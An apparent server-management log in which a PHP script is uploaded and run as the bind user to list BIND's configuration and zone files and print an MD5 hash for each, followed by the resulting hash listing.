MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 10:43:48: Establishing a connection
2026-04-22 10:43:48: 

PUT: /tmp/pkp763330

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 10:43:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp763330; rm /tmp/pkp763330'

2026-04-22 10:43:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
